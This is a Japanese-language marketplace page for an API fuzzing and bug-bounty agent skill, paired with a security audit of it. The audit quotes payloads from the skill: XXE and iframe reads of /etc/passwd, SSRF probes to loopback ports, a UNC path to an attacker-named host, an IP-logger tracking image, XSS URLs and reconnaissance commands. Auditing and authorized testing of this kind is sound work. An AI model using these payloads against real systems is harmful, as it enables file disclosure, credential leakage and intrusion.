スキル api-fuzzing-bug-bounty
📦
api-fuzzing-bug-bounty
コンテンツリビジョン r2 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス
ファジングワークフローでAPIセキュリティをテスト
APIテスターには、認可、インジェクション、エンドポイントの弱点を見つけるための構造化された方法が必要です。このスキルは、許可されたREST、SOAP、GraphQL評価のためのチェックリスト主導のワークフローを提供します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "api-fuzzing-bug-bounty" from https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty.md and its manifest at https://skillstore.io/api/skills/sickn33-api-fuzzing-bug-bounty/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「api-fuzzing-bug-bounty」を使用しています。 テスターが、スコープ内のRESTサービス向けAPIバグバウンティチェックリストを求めています。
期待される結果:
- ドキュメント、バージョン、隠れたエンドポイントをカバーする探索チェックリスト。
- オブジェクト参照とロール変更に対する認可チェック。
- リクエスト、レスポンス、アカウントコンテキスト、影響メモを含む証拠計画。
「api-fuzzing-bug-bounty」を使用しています。 アプリケーションチームが、リリース前にGraphQLのリスクを理解したいと考えています。
期待される結果:
- スキーマ露出、クエリ深度、バッチ処理、ミューテーションに関する評価概要。
- レート制限、認可チェック、エラーハンドリングに関する推奨ガードレール。
- 機密フィールドとロール別アクセスに関する手動レビュー手順。
「api-fuzzing-bug-bounty」を使用しています。 レポート草案に、複数のAPI問題の可能性が含まれています。
期待される結果:
- 影響度と信頼度に基づいて優先順位付けされた所見リスト。
- スコープ、認可、再現性に関する検証質問。
- アクセス制御、入力検証、監視に関する修復テーマ。
セキュリティ監査
重大v5 • 2026/7/23 バージョン別レポートを開く
Most external-command alerts are false positives caused by Markdown code fences, not executable Ruby expressions. Confirmed examples include active reconnaissance, SSRF, XSS, local-file access, and external tracking payloads. The skill also provides operational authorization-bypass and denial-of-service guidance despite its authorized-use disclaimer.
1
スキャンされたファイル
440
解析済み行数
15
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (4)
重大
System password file access
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
The XXE payload explicitly directs a parser to read file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
重大
System password file access
<iframe src="file:///etc/passwd" height=1000 width=800>
The iframe payload explicitly directs a PDF renderer to load file:///etc/passwd. On a vulnerable live target, it can disclose local system account data.
高
Operational Authorization Bypass Guidance
The skill teaches brute-force checks, victim identifier substitution, parameter pollution, GraphQL data access, and 401 or 403 endpoint bypasses.
The cited sections provide concrete bypass sequences and victim-oriented identifiers. The authorization disclaimer reduces stated misuse intent but does not remove the operational capability.
高
Denial-of-Service and Rate-Limit Evasion Guidance
The skill recommends GraphQL batching, deeply nested queries, extreme limit values, and IP rotation to bypass controls or exhaust resources.
The headings and examples explicitly identify rate-limit bypass and denial-of-service attempts. The troubleshooting table recommends IP rotation when rate limited.
機能レビュー項目 (15)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
高
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
高
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
高
Hardcoded URL
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
The URL embeds a Windows web configuration path to test unauthorized local-file retrieval. Successful use could disclose sensitive server configuration.
高
Hardcoded URL
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
The UNC path points to an attacker-named host and is intended to trigger an outbound SMB or DNS interaction. This can leak network metadata or credentials.
高
Hardcoded URL
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
高
Hardcoded URL
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
The URL contains an operational cross-site scripting payload for an API endpoint. Successful use could execute script in a victim browser context.
高
Hardcoded URL
<object data="http://127.0.0.1:8443"/>
This URL is an operational SSRF payload targeting a loopback service. A vulnerable renderer or API could be induced to reach an internal endpoint.
高
Hardcoded URL
<img src="http://127.0.0.1:445"/>
This URL is an internal port-probing payload for port 445. A vulnerable target could disclose internal network reachability.
高
Hardcoded URL
<img src="https://iplogger.com/yourcode.gif"/>
The external tracking URL is explicitly presented for IP disclosure. Loading it from a target can send target network metadata to a third party.
高
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
高
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
高
Hardcoded IP address
<object data="http://127.0.0.1:8443"/>
The loopback address is an operational SSRF payload intended to make a target contact an internal service. Applying it to a live target can cross network trust boundaries.
高
Hardcoded IP address
<img src="http://127.0.0.1:445"/>
The loopback address is an internal port-probing payload intended to make a target contact port 445. Applying it can expose internal service reachability.
中
Hardcoded URL
kr scan https://target.com -w routes-large.kite
This is an active Kiterunner scan command against a placeholder target. Replacing the placeholder initiates endpoint reconnaissance and network traffic.
中
Hardcoded URL
curl -X POST https://target.com/graphql \
The curl example sends a GraphQL introspection request to a placeholder target. Replacing the placeholder performs active schema reconnaissance.
リスク要因
⚙️ 外部コマンド (48)
SKILL.md:52-65 SKILL.md:65-69 SKILL.md:69-81 SKILL.md:81-87 SKILL.md:87-95 SKILL.md:95-99 SKILL.md:99-115 SKILL.md:115-121 SKILL.md:121-127 SKILL.md:127-131 SKILL.md:131-137 SKILL.md:137-141 SKILL.md:141-143 SKILL.md:143-147 SKILL.md:147-150 SKILL.md:150-154 SKILL.md:154-160 SKILL.md:160-164 SKILL.md:164-174 SKILL.md:174-184 SKILL.md:184-186 SKILL.md:186-190 SKILL.md:190-192 SKILL.md:192-196 SKILL.md:196-205 SKILL.md:205-209 SKILL.md:209-219 SKILL.md:219-223 SKILL.md:223-227 SKILL.md:227-231 SKILL.md:231-247 SKILL.md:247-251 SKILL.md:251-257 SKILL.md:257-275 SKILL.md:275-289 SKILL.md:289-297 SKILL.md:297-309 SKILL.md:309-313 SKILL.md:313-319 SKILL.md:319-347 SKILL.md:347-348 SKILL.md:348-396 SKILL.md:396-406 SKILL.md:406-416 SKILL.md:416-420 SKILL.md:420-424 SKILL.md:424-432 SKILL.md:432-433
検出されたパターン
System password file access×2
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-api-fuzzing-bug-bounty/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/sickn33-api-fuzzing-bug-bounty.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
zebbern. (2026). api-fuzzing-bug-bounty security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5BibTeX形式の引用
@techreport{zebbern-sickn33-api-fuzzing-bug-bounty-2026,
author = {zebbern},
title = {api-fuzzing-bug-bounty security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "api-fuzzing-bug-bounty security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-api-fuzzing-bug-bounty/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-api-fuzzing-bug-bounty:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
70
コミュニティ
83
仕様準拠
作成できるもの
許可されたAPIテストを準備する
テスト開始前に、エンドポイント探索、認証チェック、バージョン比較のためのスコープ付きチェックリストを作成します。
バグバウンティのAPI対象をレビューする
プログラムの範囲内にある対象について、IDOR、GraphQL、レート制限の重点的なテストを計画します。
API防御範囲を改善する
脆弱性チェックリストを使用して、一般的なAPI攻撃経路に対するアプリケーション制御を比較します。
これらのプロンプトを試す
基本的なAPIテスト計画を作成する
この許可された対象に対して、安全なAPIセキュリティテスト計画を作成してください。探索、認証チェック、IDORチェック、収集すべき証拠を含めてください。
IDORテストケースを設計する
これらのAPIエンドポイントをレビューし、許可されたIDORテストケースを設計してください。低影響のチェックと、明示的な承認が必要なテストを分けてください。
GraphQLの露出を評価する
このスキーマまたはエンドポイントリストに対するGraphQLセキュリティ評価ワークフローを構築してください。イントロスペクション、バッチ処理、ネストされたクエリ、アクセス制御をカバーしてください。
API所見に優先順位を付ける
これらのAPIテスト観察結果に基づき、可能性の高い脆弱性に優先順位を付け、影響を説明し、検証手順を一覧化し、継続してはならないテストを記載してください。
ベストプラクティス
- 能動的なテストを行う前に、書面による許可と範囲を確認してください。
- 低影響のチェックから開始し、ペイロードが可用性やデータに害を及ぼす可能性がある場合は停止してください。
- 必要以上に機密データを収集せず、明確な証拠を記録してください。
回避
- 明示的な許可なしに本番システムをテストすること。
- 承認された範囲外でブルートフォース、DoS、またはレート制限回避を使用すること。
- 影響制御なしにエクスプロイトペイロードをライブ対象へコピーすること。
よくある質問
これは自動APIスキャナーですか？
いいえ。これは許可されたAPIセキュリティテストのための説明的なワークフローとチェックリストです。
これはClaude、Codex、Claude Codeで使用できますか？
はい。マーケットプレイスのメタデータには、サポート対象ツールとしてClaude、Codex、Claude Codeが記載されています。
GraphQLテストをサポートしていますか？
はい。GraphQLイントロスペクション、IDOR、インジェクション、バッチ処理、ネストされたクエリ、XSSのテストアイデアを含みます。
対象がスコープ内であることを証明しますか？
いいえ。ユーザーは、いかなる手法を使用する前にも、認可、プログラムルール、法的範囲を確認する必要があります。
主なリスクは何ですか？
一部の例には、機密ファイルアクセス、SSRF、ブルートフォース、DoS、レート制限回避が含まれます。
誰がこのスキルを使用すべきですか？
これは、定義されたエンゲージメントまたはバグバウンティ範囲の下で作業する、訓練を受けたセキュリティテスターを対象としています。